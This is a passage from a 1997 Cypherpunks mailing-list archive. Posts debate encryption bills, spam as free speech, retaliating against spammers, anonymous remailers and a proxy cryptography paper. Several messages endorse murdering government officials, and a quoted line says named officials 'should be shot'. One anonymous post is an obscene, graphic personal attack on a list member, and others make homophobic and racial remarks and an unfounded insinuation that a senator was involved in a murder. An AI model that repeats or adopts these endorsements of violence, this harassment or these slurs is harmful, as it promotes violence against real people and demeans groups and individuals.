>       shall meet at such times and in such places as the Secretary may
>       prescribe, but not less frequently than quarterly. The Federal
>       Advisory Committee Act (5 U.S.C. App.) does not apply to the Board
>       or to meetings held by the Board under subsection (d).

That was what I recollected, vaguely.

I haven't spent near as much time analyzing Pro-CODE as I did a couple of
weeks ago with SAFE. People tell me Pro-CODE is not nearly as bad, but I
remain skeptical. And certainly James Donald is basically right that _any_
provision for a "review board" is a disaster.

Review boards mean bureaucracy, entrenched interests, and a wedge for
denial of licensens.

As to Conrad Burns himself, he seemd jovial and "conservative" at last
summer's Stanford mini-conference. Conservative in the sense I like.

But how will a Montana Republican like him respond when ultra-strong crypto
is used to, say, import child porn undetectably from Denmark, where there
standards of what is child porn differ from those of Montana? This is where
the "Review Board" will get involved, and so on and so forth.

No politician I know of will ever be a friend of crypto anarchy.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 14 May 1997 12:07:49 +0800
To: whgiii@amaranth.com (William H. Geiger III)
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <199705140332.WAA12963@mailhub.amaranth.com>
Message-ID: <199705140358.WAA19287@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


William H. Geiger III wrote:
>    Jim Choate <ravage@EINSTEIN.ssz.com> said:
> >As to a little modern social commentary. Ride the city bus in your town
> >for 1 month each day. During that time keep track of where people sit.
> >Would you like to explain why the majority of blacks still sit in the back
> >of the bus?
> 
> Well since I haven't rode the bus in years I really can't confirm or deny
> this. I don't recall this when I rode the L and buses in Chicago but then

I actually did ride buses some time ago.

Haven't noticed anything like what Prof. Choate suggests.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 14 May 1997 14:31:19 +0800
To: osborne@gateway.grumman.com>
Subject: Spam IS Free Speech
Message-ID: <199705140604.XAA01787@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


God, Last summer we had the whole "Spam as Free Speech Debate".  Now 
Rick Osborne drags it up again.  You can not retaliate against free 
speech, Rick.  That's a bad thing, plain and simple, black and white. 
Some of your metaphors are kinda harsh, and a bit cartoonish.

On or About 12 May 97 at 13:43, Rick Osborne wrote:

> I said:
> >I appreciate the inference as to my (lack of) intelligence.  ;)
> 
> To which Vulis wrote:
> >Your lack of ethics, rather.  You choose to work for someone who
> >chooses to use inadequate Microsoft software, and you brandish
> >these choices as an excuse to interfere with somene's free speech.
> 
> I'm not brandishing anything as an excuse, simply stating this: I
> should not have to walk through the street (get my email)

Well, you are doing OK so far.

> wearing 4
> inches of kevlar (using spam filters),

It depends on what street you are walking, here.  Kevelar *may* be in 
order.  What's your problem with your 'delete' key?  Broken?

> *just in case* someone
> decides to whip out a submachine gun (spam). 

Now, here's where you start to go really crazy.  Spam as a weapon?  
Please, Rick get ahold of yourself.  It's just e-mail.  Nothing scary 
or harmful, right?  Right?

> It should not me my
> job to defend myself from psychos, rather people should have to ask
> my permission to infringe upon my space and time.

You got a website?  You post to usenet?  I know you post to this 
list.  By now, everyone knows that any of those things are as good as 
giving away your e-mail address.  Maybe that's unethical, but it's a 
fact.  And if you do have a website, it's an open invitation for me 
to send you advertisements, just like the yellow pages.
 
> How am I taking away from Sanford's right to free speech by just
> spamming him back? 

Free speech is a right.  You have the right to make some snotty 
reply, but no right to intentionally harm.  You are doing wrong if 
you try to harm someone who is exercising their right to free 
speech.  Rick, what if someone decided they did not like an opinion 
you expressed on this list and did the same thing to you?  See, it's 
all the same thing.  You, nor anyone else, has a right to lash out at 
someone for something they say or some ad they send you.

> I sgree with this weekend's discussion on arp
> attacks: technically, they should be no different than spam attacks.
>  WHy then should he (or whoever) have the right to spam me without
> fear of retribution?

Because FREE SPEECH IS A RIGHT WE HAVE!  Why all this talk of retribution?
No one has a right to retaliate, get it?  First Amendment?  I didn't 
read in there the right to get back at some poor advertisers, did 
you?
  
> Actually, and this is just MHO, I don't really care if the 100 or so
> spams/arps I send them are but a mosquito's bite to them. 

Free Speech : Good      Mail Bombs : Bad

> It makes
> *me* feel better. 

Ahhh, at last the point.  Are you a self centred ass, who's personal 
feelings are more important that the Constitution?  Feel better?  How 
about when those black suited ninjas break into your house to steal 
your rights?  That's my metaphor of what you are doing to people who 
spam you...

> I'm not in this necessarily to shut anyone down
> (though it would be a nice side-effect), just to annoy them as much
> as they annoy me. Like I said, I'm more of the passive-agressive
> type, so I'm not here to wage a war, just a few small skirmishes.

It's talk like this that those good old boys in D.C. love.  Bad 
internet, bad.

Um, there is no war against spammers.  Did you know that?  You could 
be doing so much more with your time.  Please reconsider.  Thank you.

No war, no battles, no skirmishes, no need for "Anti-Spam Laws".  
Just be nice, and everything will work out for the best.  I'm more 
worried about this anti bomb making recipe law that the government is 
yammering about now. 

Ross

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 14 May 1997 14:25:02 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <3.0.1.32.19970512171524.028df2c8@panix.com>
Message-ID: <19970513230543.60364@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, May 13, 1997 at 08:21:13PM -0800, Tim May wrote:
> At 6:34 PM -0800 5/13/97, Kent Crispin wrote:
> 
> >First of all, it neglects to consider that governments may have
> >prevented more murders than they caused.  This is unknowable, since
> >we don't have any worthwhile control cases.  (I suppose we
> >might examine a state of anarchic chaos (eg Rawanda) and compare the
> >percentage of murders...but such cases are symptoms of other human
> >ills, and cannot be used as a meaningful comparison, I believe.)
> 
> Rwanda (or Ruwanda, or...) is a _very_ poor example to pick, as this was
> not any kind of anarchy such as any of us have ever advocated. Rather,
> Rwanda was a near-textbook example of one tribal faction (Hutus or Tutsis)
> coming to power and inititiating a pogrom against the rival faction (Tutsis
> or Hutus).
> 
> Calling this an "anarchy" is comparable to calling the pogrom by the Third
> Reich against Jews, gypsies, cripples, and others an example of anarchy.

Nonsense.

"anarchy n. the absence of government or control, resulting in 
lawlessness. 2. disorder, confusion" -- Oxford American Dictionary

Which part of that would you say didn't apply to Rwanda?  

In fact, the correlation between anarchy and war is very strong, for
obvious reasons.  Perhaps that is why most intelligent people don't
consider anarchy a desirable state of affairs. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 14 May 1997 15:05:21 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Disinformation in L.A.
Message-ID: <199705140626.XAA02266@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 13 May 97 at 22:14, Lucky Green wrote:

> >month that calls for new legislation to ban bomb-making info
> >online. Now Feinstein's office tells me she's going to introduce a
> >bill. 
> 
> Feinswine never saw a gun/mind control bill she didn't like. She is
> an ultra fascist that rose to power thanks to the yellow dog Bay
> Area voters.

No, she rose to power over the murdered corpse of her boss.  Was she 
involved?  I lived in San Francisco for years and NEVER voted for 
her, it's hard to vote for a murderer

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 15:06:55 +0800
To: cypherpunks@toad.com
Subject: Kent's government spin...
Message-ID: <199705140627.XAA09650@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin, assuming that others on the list are not capable
of understanding what someone posts unless he explains it, wrote:

> And Tim did *explictly advocate* the assasination of government
> officials:
> "Chiles and his co-conspirators should be shot for high crimes against
> the Constitution.  After Clinton, Freeh, Kerrey, and the other
> traitors."

  The punishment for high crimes against the Constitution is 
execution, which differs from assassination.
  It seems to me that those most worried about government criminals
being punished for their crimes are those participating in those
activities while trying to justify or downplay them.

  Kent, why don't you start a thread explaining how important it
is for government to feel free to imprison grandmothers for
plugging other people's parking meters without fearing retribution
from those who don't wish for their government to place them in a
cage like an animal for plugging parking meters? 
  (You could start by explaining that we need to protect our prison-
based economny, in the interests of a strong GNP.)
  I think this would be a good project to display to everyone the
type of mentality that you represent.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 12:50:16 +0800
To: cypherpunks@toad.com
Subject: Worthless List
Message-ID: <199705140405.AAA32067@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


The Spectre wrote:
> In response to this childish, no.cajones.com message, I have removed all
> previous filters and added one, simpler filter on incoming mail.  Delete
> when recieved from nobody@huge.cajones.com or lucifer@dhp.com.
> 
> I suggest you all to the same.. it may actually serve to make this list
> worthwhile...

  Yet another dweeb who considers the list not to be worthwhile,
but who wants to tell everyone else what to read and what not to
read, nonetheless.
  Is there going to be another round of missives about how the list's
ASCII art is the Big Enemy of cypherpunks everywhere? I'm have much
more concern about a small pimple I just found on my butt. Perhaps
I should start a thread to discuss the implications of this for
privacy and freedom worldwide.

PimpleMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 12:28:51 +0800
To: cypherpunks@toad.com
Subject: Re: Would the anonymous person(s) please...
Message-ID: <199705140414.AAA32277@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


bennett_t1@popmail.firn.edu wrote:
> 
> Would all those anonymous remailing people with a flame tendency, please
> flame the person of your attacks, and don't send this bullshit to the
> list?  Thanks...

  No. (but thanks for asking so politely(





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 14 May 1997 16:21:02 +0800
To: cypherpunks@toad.com
Subject: Proxy Cryptography draft available
Message-ID: <3.0.1.32.19970514002854.0067f568@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Matt Blaze posted the following to cryptography/coderpunks.
Looks like potentially cool stuff. I had to use 
ftp://research.att.com/dist/mab/proxy.ps
as a URL, but that may just have been Netcom DNS weirdnesses.

>Subject: Proxy Cryptography draft available
>Date: Tue, 13 May 1997 18:37:10 -0400
>From: Matt Blaze <mab@research.att.com>
>Sender: owner-cryptography@c2.net
>
>I've put a draft of a new paper in my ftp directory.  Comments and
>discussion welcome.  In particular, I'm curious if anyone can find
>any real practical application for symmetric proxy functions.
>
>ftp://ftp.research.att.com/dist/mab/proxy.ps
>
>Proxy Cryptography
>
>Matt Blaze
>Martin Strauss
>
>AT&T Labs -- Research
>{mab,mstrauss}@research.att.com
>
>Abstract:
>
>This paper introduces {\em proxy cryptography,} in which a {\em
>proxy function,} in conjunction with a public {\em proxy key,}
>converts ciphertext (messages in a public key encryption scheme or
>signatures in a digital signature scheme) for one key ($k_1$) into
>ciphertext for another ($k_2$).  Proxy keys, once generated, may
>be made public and proxy functions applied in untrusted environments.
>Various kinds of proxy functions might exist; {\em symmetric} proxy
>functions assume that the holder of $k_2$ unconditionally trusts
>the holder of $k_1$, while {\em asymmetric} proxy functions do not.
>It is not clear whether proxy functions exist for any previous
>public-key cryptosystems.  Several new public-key cryptosystems
>with symmetric proxy functions are described: an encryption scheme,
>which is at least as secure as Diffie-Hellman, an identification
>scheme, which is at least as secure as the discrete log, and a
>signature scheme derived from the identification scheme via a hash
>function.
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 16:31:27 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
Message-ID: <199705140807.BAA14329@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


  Didn't her boss's murderer walk on the charge by using the defence
that he ate too many Twinkies?
  No political intrigue here...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Wed, 14 May 1997 13:49:33 +0800
To: jamesd@echeque.com
Subject: Re: unsafe SAFE:
In-Reply-To: <199705140419.VAA01203@proxy3.ba.best.com>
Message-ID: <Pine.GSO.3.95.970514011229.3391B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


I believe Courtney got it wrong. Isn't it Pro-CODE that has the Info Board
provision? See:

  SEC. 6. INFORMATION SECURITY BOARD.
   
   (a) INFORMATION SECURITY BOARD TO BE ESTABLISHED- The Secretary shall
       establish an Information Security Board comprised of
       representatives of agencies within the Federal Government
       responsible for or involved in the formulation of information
       security policy, including export controls on products with
       information security features (including encryption). The Board
       shall meet at such times and in such places as the Secretary may
       prescribe, but not less frequently than quarterly. The Federal
       Advisory Committee Act (5 U.S.C. App.) does not apply to the Board
       or to meetings held by the Board under subsection (d).

-Declan


On Tue, 13 May 1997 jamesd@echeque.com wrote:

> according to http://www.news.com/News/Item/0,4,10604,00.html
> 
>                 Kerrey's effort has one thing in common with the
>                 SAFE Act: It calls for the creation of an Information
>                 Security Board. The board proposal caused some
>                 privacy watchdogs to pull their endorsements of
>                 SAFE because it wouldn't have to comply with
>                 federal open-meeting act. 
> 
> 
> Since a common hand has presumably been at work in both bills,
> this looks like good cop / bad cop to me.
> 
> The good cop says, "I am your friend"
> 
> He is not your friend.
> 
> Create a federal board, and it will exercise power.
> 
>  ---------------------------------------------------------------------
>               				|  
> We have the right to defend ourselves	|   http://www.jim.com/jamesd/
> and our property, because of the kind	|  
> of animals that we are. True law	|   James A. Donald
> derives from this right, not from the	|  
> arbitrary power of the state.		|   jamesd@echeque.com
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 16:13:09 +0800
To: cypherpunks@toad.com
Subject: Re: Spam IS Free Speech
Message-ID: <199705140746.DAA29236@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Ross Wright wrote:
> 
> You can not retaliate against free
> speech, Rick.  That's a bad thing, plain and simple, black and white.

  Crock of shit, Ross.
  It costs me money to download unwanted spam. What's this "free"
bullshit?

> You got a website?  You post to usenet?  I know you post to this
> list.  By now, everyone knows that any of those things are as good as
> giving away your e-mail address.  Maybe that's unethical, but it's a
> fact.  And if you do have a website, it's an open invitation for me
> to send you advertisements, just like the yellow pages.

  And if a woman wears short skirts, what kind of open invitation
is that? Are banks who advertise that they handle money announcing
an open invitation to the greedy?
 
> Free speech is a right.  You have the right to make some snotty
> reply, but no right to intentionally harm. 

  Spammers neither know nor care if they are causing harm to the
finances or mental well-being of others.
  If a spammer declares their right to cause me financial loss and
denial of service for the time it takes me to rid myself of their
unwanted intrusion then they can have no expectation that I, in 
turn, will not declare what level of financial loss and denial of
service I will cause them.

> You, nor anyone else, has a right to lash out at
> someone for something they say or some ad they send you.

  So spammers have no right to lash out at my sending them a
gigabyte of email regarding the evils of spamming. 

> > It makes
> > *me* feel better.
> 
> Ahhh, at last the point.  Are you a self centred ass, who's personal
> feelings are more important that the Constitution? 

  Ross has failed to explain just how the Constitution promotes the
spammer's right to intrude upon the spammer's life and cause them
financial loss while denying that right to the spammee.
  Ross' personal feelings seem to be important enough to him to cast
slurs on those who disagree with his black-and-white opinions regarding
his right to spam others without them having a corresponding right
to reply in kind.

  Gander. Goose.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 20:04:14 +0800
To: cypherpunks@toad.com
Subject: Re: Quadratic residues
Message-ID: <199705141118.EAA21038@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May's mother attempted to pro-choice the unwanted 
little bastard by fishing with a coat hanger in her giant 
cunt, but failed miserably to pull the rabbit and 
succeeded only in scraping out the contents of little 
Timmy's fetal cranium (not much to begin with).

       (_) _____ (_)
          /O   O\   Tim May
         !   I   !
         ! \___/ !
          \_____/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 14 May 1997 23:43:20 +0800
To: cypherpunks@toad.com
Subject: Re: The Inducement of Rapid Oxidation of Certain Materials in or Near Government
In-Reply-To: <199705140045.RAA09717@netcom11.netcom.com>
Message-ID: <scXo7D38w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Vladimir Z. Nuri" <vznuri@netcom.com> writes:
> therefore, it is ok for civilians to murder government officials,
Yes.
> CED (cypherpunk QED) endorsed by TCM, Bell, etc. ad nauseum
And myself.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 14 May 1997 23:47:46 +0800
To: cypherpunks@toad.com
Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <Pine.3.89.9705131901.A961-0100000@netcom19>
Message-ID: <DVXo7D39w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lucky Green <shamrock@netcom.com> writes:
>
> I walked _through_ the housing projects in San Francisco at ~3:30 am on a
> Sunday morning. ...

Homosexuals who go "cruising" (picking up strangers in order to have sex
with them) often get hurt or killed.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 14 May 1997 20:05:35 +0800
To: cypherpunks@toad.com
Subject: RSA v. PGP Complaint
Message-ID: <1.5.4.32.19970514114154.008b60fc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to Vin McLelland we offer the text of the
complaint of RSA v. PGP:

   http://jya.com/rsavpgp.txt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roger J. Jones" <cyber@ibpinc.com>
Date: Wed, 14 May 1997 22:04:43 +0800
To: "'cypherpunks@toad.com>
Subject: Anonymous Remailers
Message-ID: <01BC603F.4B529240@pc1901.ibpinc.com>
MIME-Version: 1.0
Content-Type: text/plain


Why is it that some who are very concerned about their personal privacy utilize anonymous remailers that:

1) Log all of their mail messages?
2) Are in many cases reputed to be run by foreign intelligence services?

Do they really trust the owner of the remailer? (Unless of course, it is their remailer?)  I seem to be missing something.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Wed, 14 May 1997 22:42:31 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <3.0.32.19970513220804.006f09d4@netcom13.netcom.com>
Message-ID: <199705141324.JAA04425@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



> At 12:19 PM 5/11/97 -0400, Declan McCullagh wrote:
> >You might remember I wrote recently about the DoJ report released this
> >month that calls for new legislation to ban bomb-making info online. Now
> >Feinstein's office tells me she's going to introduce a bill. 
> 
> Feinswine never saw a gun/mind control bill she didn't like. She is an
> ultra fascist that rose to power thanks to the yellow dog Bay Area voters.

Give credit where it's due.  She really owes a debt to the assassin Dan 
White, without whom she'd probably still be a lowly Supervisor.

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Wed, 14 May 1997 22:43:08 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <199705140807.BAA14329@fat.doobie.com>
Message-ID: <199705141328.JAA04510@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain



>   Didn't her boss's murderer walk on the charge by using the defence
> that he ate too many Twinkies?
>   No political intrigue here...

That was the defense, yes.  Dan White was a former cop and treated like a 
hero by fellow cops.  The prosecution never really challenged the Twinkie 
defense, nor did they bring up politics or homophobia as motives.  With a 
prosecution like that, who needs a defense?

rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.
pgp fingerprint: 10 49 F5 24 F1 D9 A7 D6  DE 14 25 C8 C0 E2 57 9D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Wed, 14 May 1997 23:34:45 +0800
To: cypherpunks@toad.com
Subject: Re: Spectre disapproves of remailers and anonmyity
Message-ID: <15020777617590@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Wed May 14 11:06:28 1997

> Nonsense. People use remailers for all sorts of reasons.
I'm waiting... number one reason seems to be spam.. no matter, though.. 
I've added the filter, and won't take it out unless a very good reason 
comes along.

> (Speaking for myself, and trying to be careful to not implicate myself 
> (in
> further felonies, I've used the available remailers to post 
> liberated information of various sorts. Go back and check the archives. 
> You'll find that "Dumpster divings" of information from corporate 
> conspirators (a la Cylink, Mykotronx) was posted through anonymous 
> remailers. Who would argue that the cause of liberty would be better 
> served by posting these items under one's own name, where the Corporate 
> State could then file lawsuits, order midnight raids, etc.?)
Much easier to put something like that on multiple ftp sites and then alert 
the public to what you've 'found' there.

> 
> As for the time to delete the Vulis spam, you must be innumerate.
You insult my position without disproving it.  I am not impressed.  In any 
case, I spend far less time now deleting those messages, seeing as how I 
don't spend any.



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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Wed, 14 May 1997 23:40:47 +0800
To: cypherpunks@toad.com
Subject: Re: Would the anonymous person(s) please...
Message-ID: <15075074017690@nrt.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Wed May 14 11:12:10 1997

> Would all those anonymous remailing people with a flame tendency, 
> please flame the person of your attacks, and don't send this bullshit 
> to the list?  Thanks...
> 
What would be the point.. the only person you can be *sure* doesn't care 
about these messages is the mark.

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQENAzM2vJwAAAEH/1uuDgh1udD+DbU9ies8Lst3j7bmlM+m+aN0gVwerfx+uA14
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Wed, 14 May 1997 23:38:14 +0800
To: "cypherpunks" <daw@cs.berkeley.edu>
Subject: Re: Public Key Break Paper
Message-ID: <199705141507.LAA11920@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3954.1071713698.multipart/signed"

--Boundary..3954.1071713698.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


>I just took a brief look at it, (thanks for forwarding, Lucky),
>and it's pure crap-ola.

As a meta-point any securirty person knows that employees and
ex-employees are the most serious security risks. Its not exactly
unknown for someone to go nuts and then come out with loony 
paranoid theories.

This may not be the case in this instance but its a good idea not
to start seeing black helicopters arround every corner...

Phill








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Content-Type: application/octet-stream; name="bin00001.bin"
Content-Transfer-Encoding: base64
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jQ==
--Boundary..3954.1071713698.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Spectre <spectre@nac.net>
Date: Wed, 14 May 1997 23:49:20 +0800
To: cypherpunks@toad.com
Subject: Re: Anonymity and cowardice
Message-ID: <15302945318065@nac.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks@toad.com
Date: Wed May 14 11:34:45 1997

> The time per year it takes for me to delete all these messages is about 
> the same as the amount of time it took me to reply to your previous 
> message plus the amount of time it will now take me to compose this 
> reply.  All back of the envelope, of course.
All by choice, which is what we're talking about here..

> I've been on this list for 18 months and have seen plenty of worthwhile
> posts from remailers.  You're entitled to your opinion, but I strongly
> disagree.
I guess I'll just never know..

> So you're calling John Jay, James Madison, and Alexander Hamilton 
> cowards
> (anonymous authors of the Federalist Papers)?  Many others have 
> (also used
> anonymity to further the cause of liberty.  I doubt your real 
> name is "The Spectre" yet that is the name under which you are posting. 
>  Are you calling yourself a coward?
The difference in all these cases (save mine) is that the people you listed 
would have been persecuted, if not prosecuted, for their actions.  Now 
people are hiding out of fear and paranoia of something that in most cases 
doesn't exist.  The people you mentioned never had to deal with this level 
of abuse, either.

In my case, it's simply the name i've old my email package to append to my 
messages.  Anyone who really wants to can look me up at any time.
- -----BEGIN PGP PUBLIC KEY BLOCK-----
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 14 May 1997 21:36:48 +0800
To: ravage@EINSTEIN.ssz.com
Subject: Re: The Interlinked Cypherpunks Lists? (fwd)
In-Reply-To: <199705140034.TAA23384@einstein.ssz.com>
Message-ID: <199705141210.NAA01034@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@ssz.com> writes:
> [...]
> I don't want it known who is subscribed to lists through SSZ, in short:
> It isn't any of your damn business and quit asking.

Oh.  I guess that explains the blank message I got back from
majordomo@ssz.com!  I counted that as no one subscribed (or inactive).
So I guess the count of cypherpunks subscribers is an underestimate
having discounted anyone subscribed through ssz.com.

Would you be interested to reveal the number of subscribers for
counting purposes?  (Not a big deal if you're not).

> > The only true reliability can be achieved by subscribing to two or more
> > cypherpunks sites, and eliminating duplicates. Reliability has its costs.
> 
> As do freedom, privacy, anonymity, etc.

If you have a shell account, you could run an email concentrator
(remove duplicates) with procmail, and then down load only the non
duplicates.  With this setup you could subscribe to all 3 lists and
not notice any outages.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 15 May 1997 04:48:53 +0800
To: cypherpunks@cyberpass.net
Subject: I Treat All My Enemies Equally
Message-ID: <3.0.32.19970513230408.006c67b4@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


There have been so many posts on which I could make remarks, and I haven't
enough time to prepare a really good treatment on the subject.   

The title of the subject line is from something LD once said to me as a
joke to rile me, something like, "I'm all for  Democracy - I treat all my
enemies equally." (he probably stole that line from someone).

Anyway, I was thinking about those who have expressed a lack of concern for
the unfortunate mixture of the guilty & innocent in a close encounter with
a destructive device.   I was thinking that people who  aren't careful
about such differences make of themselves an enemy to all, because who can
tell what they're supporting and whose lives they really value, since
anyone at all could become their victim.

In times of declared (or undeclared) wars, when it is governments which
conduct the battles, one of the things which make wars hell is that anyone
& everyone is potentially in harms way; everyone has to run for their
lives, you never from who/where you might get hit, whether from enemy or
from friendly fire.  There is so much confusion, propaganda, and lies about
who is in the right, who is in the wrong, whose fault it was/is and who are
the real heroes, that all of those in the middle seem like ping-pong balls
bouncing from side to side.  Nevertheless, whichever side they think they
are on or even if they don't give a flip, everyone has to to run, hide,
take cover.   Only when all supplies and manpower have been exhausted, does
the war end; in the meantime both sides have made many smoldering enemies,
which later some opportunists use as reason to attempt to sway the
remaining survivors into further alliances against the latest "enemy of the
people".    In truth, it becomes a difficult task to determine who is the
un-fairest of them all.   The fact of the matter is that those in the
middle must find a way to protect themselves from whatever weapon or
vehicle of destruction comes around, whatever its source.

Likewise, anyone who creates an atmosphere of uncertainty, where it makes
no difference whether one is a friend or a foe of any particular values or
ideals - one could end up dead regardless, just from being in the wrong
place at the wrong time - is making of themselves an enemy to all.  

Like that stolen phrase, I myself would have to "treat all my enemies
equally"; that is, anyone who would put me or anyone I valued, in danger.  

